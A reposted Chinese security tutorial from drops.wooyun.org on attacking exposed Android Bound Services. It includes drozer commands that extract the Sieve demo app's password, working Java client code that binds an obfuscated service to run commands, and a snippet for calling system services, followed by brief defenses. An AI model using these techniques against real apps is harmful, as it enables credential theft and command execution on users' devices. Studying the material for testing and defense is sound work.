<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/mobile/13676

            0x00 引子


            去年12月,【1】 講述了針對android bound service的攻擊方法,給出了從apk包中恢復AIDL文件的工具,利用AIDL便可以編寫攻擊Bound Service的Client。拜這篇文章所賜,筆者也在實際測試工作中發現了類似漏洞,其中的過程卻有些曲折。作為白帽子,通常情況下很難直接得到或者恢復AIDL文件,這決定了Bound Service的易守難攻,因此需要更加系統地掌握Bound Sercive的測試方法,并輔以耐心和一定的運氣,才能發現類似的漏洞。在【1】的基礎上,本文將分享此類漏洞的經驗,進一步對Bound Service攻擊進行說明。

            0x01 Bound Service簡介


            Bound Service提供了一種基于Binder的跨進程調用(IPC)機制,在其Service類中實現OnBind方法并返回用于IPC的IBinder對象。根據官方文檔【2】,實現Bound Service有以下三種方式:

            由于第一種方式主要在同一進程中使用,因此我們主要關注后兩種情況,只要Bound Service暴露,那么便可以編寫惡意app,通過Messenger和基于AIDL的Bound Service進行跨進程通信,傳入污染的數據或者直接調用被攻擊應用的功能,最終對安全產生非預期的影響。

            0x02 攻擊Messenger


            Messenger是一種輕量級的IPC方案,其底層實現也是基于AIDL的,從android.os.Messenger的兩個構造函數可以看到一些Binder的痕跡。

            #!java
                /**
            36     * Create a new Messenger pointing to the given Handler.  Any Message
            37     * objects sent through this Messenger will appear in the Handler as if
            38     * [email protected] Handler#sendMessage(Message) Handler.sendMessage(Message)} had
            39     * been called directly.
            40     *
            41     * @param target The Handler that will receive sent messages.
            42     */
            43    public Messenger(Handler target) {
            44        mTarget = target.getIMessenger();
            45    }
                /**
            140     * Create a Messenger from a raw IBinder, which had previously been
            141     * retrieved with [email protected] #getBinder}.
            142     *
            143     * @param target The IBinder this Messenger should communicate with.
            144     */
            145    public Messenger(IBinder target) {
            146        mTarget = IMessenger.Stub.asInterface(target);
            147    }
            

            使用Messenger的Service典型實現中,一定會有一個繼承于Handler的內部類,用來處理客戶端發送過來的消息,測試方法就是檢查Handler的handleMessage方法,觀察發送特定的Message后會引起被攻擊應用如何反應。Drozer中用于漏洞教學的Sieve程序給出了實際案例。

            Sieve暴露了兩個服務,這兩個服務均使用Messenger進行跨進程通信

            #!bash
            dz> run app.service.info -a com.mwr.example.sieve
            Package: com.mwr.example.sieve
              com.mwr.example.sieve.AuthService
                Permission: null
              com.mwr.example.sieve.CryptoService
                Permission: null
            

            查看AuthService的handleMessage方法

            #!java
            public void handleMessage(Message msg) {
            ...
                        Bundle v8 = null;
                        int v7 = 9234;
                        int v6 = 7452;
                        AuthService.this.responseHandler = msg.replyTo;
                        Object v2 = msg.obj;
                        switch(msg.what) {
                            case 4: {
                                //Check if pin and password are set
                            }
                            case 2354: {
                                if(msg.arg1 == v6) {
                                  //Return pin Requires password from Bundle
                                }
                                else if(msg.arg1 == v7) {
            //Return password Requires pin from Bundle!!
                                    v1 = 41;
                                    if(AuthService.this.verifyPin(((Bundle)v2).getString("com.mwr.example.sieve.PIN"))
                                            ) {
                                        v2_1 = new Bundle();
                                        v2_1.putString("com.mwr.example.sieve.PASSWORD", AuthService.this.getKey());
                                        v3 = 0;
                                    }
            ...
                                this.sendResponseMessage(5, v1, v3, v2_1);
                                return;
                            label_57:
                                this.sendUnrecognisedMessage();
                                break;
                            }
                            case 6345: {
                                if(msg.arg1 == v6) {
            //Set Password Requires Current Password from Bundle
                                    v1 = 42;
                                    v3 = AuthService.this.setKey(((Bundle)v2).getString("com.mwr.example.sieve.PASSWORD"))
                                             ? 0 : 1;
                                }
                                else if(msg.arg1 == v7) {
            //Set Pin Requires Current Pin from Bundle
                                    v1 = 41;
                                    v3 = AuthService.this.setPin(((Bundle)v2).getString("com.mwr.example.sieve.PIN"))
                                             ? 0 : 1;
                                }
                                else {
                                    goto label_99;
                                }
            
                                this.sendResponseMessage(4, v1, v3, v8);
                                return;
            

            AuthService根據傳入Message對象的不同,執行不同的動作,注意當Message對象的what為2354,arg1為9234時,如果當前的PIN正確,則可返回Sieve使用的主password。Drozer提供了app.service.send模塊,利用該模塊可以很方便地測試基于Messenger的跨進程通信。

            #!bash
            dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj
            Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
              what: 5
              arg1: 41
              arg2: 0
              Extras
                com.mwr.example.sieve.PASSWORD (String) : passw0rd123123123
            

            如果PIN不正確,則只返回當前傳入的PIN

            #!bash
            dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 33333 --extra string com.mwr.example.sieve.PIN 2344 --bundle-as-obj
            Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService:
              what: 5
              arg1: 41
              arg2: 1
              Extras
                com.mwr.example.sieve.PIN (String) : 2344
            

            由于PIN只有4位,利用上述兩種結果的不同,可以編寫程序進行爆破。另外一個CryptoService同樣也有類似的漏洞,通過傳入特定的Message對象,執行加解密操作,可被用來解密password,詳見【3】。

            0x03 攻擊基于AIDL的Bound Service


            文獻【1】給出了一個存在命令執行漏洞的Bound Service,并根據Bound Service的apk生成AIDL接口文件,編寫攻擊程序調用Bound Service中的命令執行方法。然而,在使用中發現生成AIDL文件的工具主要根據smali文件中的Stub.Proxy類進行抓取,而當apk進行了混淆,便不能正確生成AIDL文件了。例如,我們配置build.gradle中的minifyEnabledtrue開關為true,使用Android Studio的默認混淆規則。對混淆的apk與未混淆的apk使用JEB逆向對比如下

            image

            混淆后的apk少了許多有關AIDL的信息,沒有了Stub Proxy這些特征,致使如下代碼實現的GenerateAIDL工具出錯

            #!java
            if (descriptorToDot(interfaces.first()).equals(IINTERFACE_CLASS)) {
            
            /* Now grab the Stub.Proxy, to get the protocols */
            String stubProxyName = className + ".Stub.Proxy";
            DexBackedClassDef stubProxyDef = getStubProxy(classDefs, stubProxyName);
            if (stubProxyDef == null) {
                System.err.println("[ERROR] Unable to find Stub.Proxy for class: "
                                                        + stubProxyName + ", Skiping!");
                continue;
            }
            

            image

            由于AIDL文件本質上只是SDK為我們提供的一種快速實現Binder的工具,因此完全可以不依賴AIDL文件而實現Binder的方法,這也是在實際滲透測試過程中最常見的情況。下面我們結合有漏洞混淆后的apk進行說明。

            懷疑暴露的ITestService可傳入一個可控字符串執行命令后,我們可以按如下步驟編寫Client去Bind該Service進行測試。

            首先,可聲明一個AIDL性質的接口,可直接拷貝JEB中繼承IInterface的a接口,該接口有一個a方法。

            #!java
            // in fact a is TestInterface
            public interface a extends IInterface {
                static final String DESCRIPTOR = "com.jakev.boundserver.aidl.TestInterface";
                String a(String arg1) throws RemoteException;
            }
            

            接下來,編寫實現a接口的Stub極其內部類Proxy,可參考系統生成的代碼,結構略作調整使之清晰化。注意,一定要在Proxy類中實現a方法,其傳入遠程調用的code為1,打包數據data寫入a方法中的字符串類型的參數。

            #!java
            public class Stub extends Binder implements a {
                /** Construct the stub at attach it to the interface. */
                public Stub() {
                    super();
                    this.attachInterface(this, DESCRIPTOR);
                }
            
                /** Cast an IBinder object into an TestInterface(a) interface,
                 * generating a proxy if needed
                */
                public static a asInterface(IBinder obj) {
                    if (obj == null) {
                        return null;
                    }
                    IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
                    if(((iin != null) && (iin instanceof a))) {
                        return (a)iin;
                    }
                    return new Stub.Proxy(obj);
                }
                public IBinder asBinder() {
                    return this;
                }
                public boolean onTransact(int code, Parcel data, Parcel reply, int flag) throws RemoteException{
                    boolean v0 = true;
                    switch(code) {
                        case 1: {
                            data.enforceInterface(DESCRIPTOR);
                            String v1 = this.a(data.readString());
                            reply.writeNoException();
                            reply.writeString(v1);
                            break;
                        }
                        case 1598968902: {
                            reply.writeString(DESCRIPTOR);
                            break;
                        }
                        default: {
                            v0 = super.onTransact(code, data, reply, flag);
                            break;
                        }
                    }
                    return v0;
                }
                public  String a(String cmd) throws RemoteException {
                    // Server do not have to implement this method, just return null
                    return null;
                }
            
                private static class Proxy implements a {
                    private IBinder mRemote;
                    Proxy(IBinder remote) {
                        mRemote = remote;
                    }
            
                    @Override
                    public IBinder asBinder() {
                        return mRemote;
                    }
                    public String getInterfaceDescriptor() {
                        return DESCRIPTOR;
                    }
            
                    @Override
                    public String a(String cmd) throws RemoteException{
                        String result = null;
                        Parcel data = Parcel.obtain();
                        Parcel reply = Parcel.obtain();
                        try {
                            data.writeInterfaceToken(DESCRIPTOR);
                            data.writeString(cmd);
                            mRemote.transact(1, data, reply, 0);
                            reply.readException();
                            result = reply.readString();
                        }
                        finally {
                            reply.recycle();
                            data.recycle();
                        }
            
                        return result;
                    }
                }
            
            }
            

            最后,編寫攻擊app的Activity,在其中bind有漏洞的Service

            #!java
            mServiceConnection = new myServiceConnection();
            Intent i = new Intent();
            i.setClassName("com.jakev.boundserver", "com.jakev.boundserver.ITestService");
            boolean ret = bindService(i, mServiceConnection, BIND_AUTO_CREATE);
            

            在ServiceConnection的回調函數中調用a方法

            #!java
            public void onServiceConnected(ComponentName name, IBinder service) {
                Log.d(TAG, "OnServiceConnected ");
                String command = editCommand.getText().toString();
            
                try {
                    a mTestService = Stub.asInterface(service);
                    String result = mTestService.a(command);
                    Log.d(TAG, "exec result is:" + result);
                    txtResult.setText(result);
                } catch (RemoteException e) {
                    e.printStackTrace();
                }
            
            }
            

            攻擊效果如下

            image

            至此,就完成了不依賴于AIDL文件攻擊Bound Service的過程。

            0x05 攻擊已注冊的系統服務


            通過adb shell service list可以查看在context manager(或servicemanager)中注冊的系統服務名稱和IBinder接口。

            image

            這些服務也暴露了潛在的攻擊面,可以編寫客戶端程序通過服務名獲得Binder對象的引用,進而調用服務的功能或者傳入污染的數據。

            #!java
            sp<IServiceManager> sm = defaultServiceManager();
            sp<IBinder> binder = sm->getService(String16("demo")); //demo is Service Name
            sp<IDemo> ServiceName = interface_cast<IDemo>(binder);
            

            構造Parcel對象data后,則可以通過binder->transact(int code, Parcel data, Parcel reply, int flag)調用系統服務。或者在具有服務實現源代碼的情況下,直接通過ServcieName->ServiceMethod()調用系統服務實現的方法,具體可參考【4】。

            一般情況下,系統服務都有嚴格的權限檢查機制,漏洞更是罕見,但也有案例。 如,三星手機隨意訪問RILD接口(可以解除定制機網絡制式的軟限制),作者在POC中給兩種訪問ITelephony服務sendOemRilRequestRaw接口的方法(Java和C)。

            0x06 防御


            除了在Manifest文件中對暴露的Service增加Signature的保護級別外,Binder還提供了更為靈活的驗證方式

            0x07 參考文獻


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线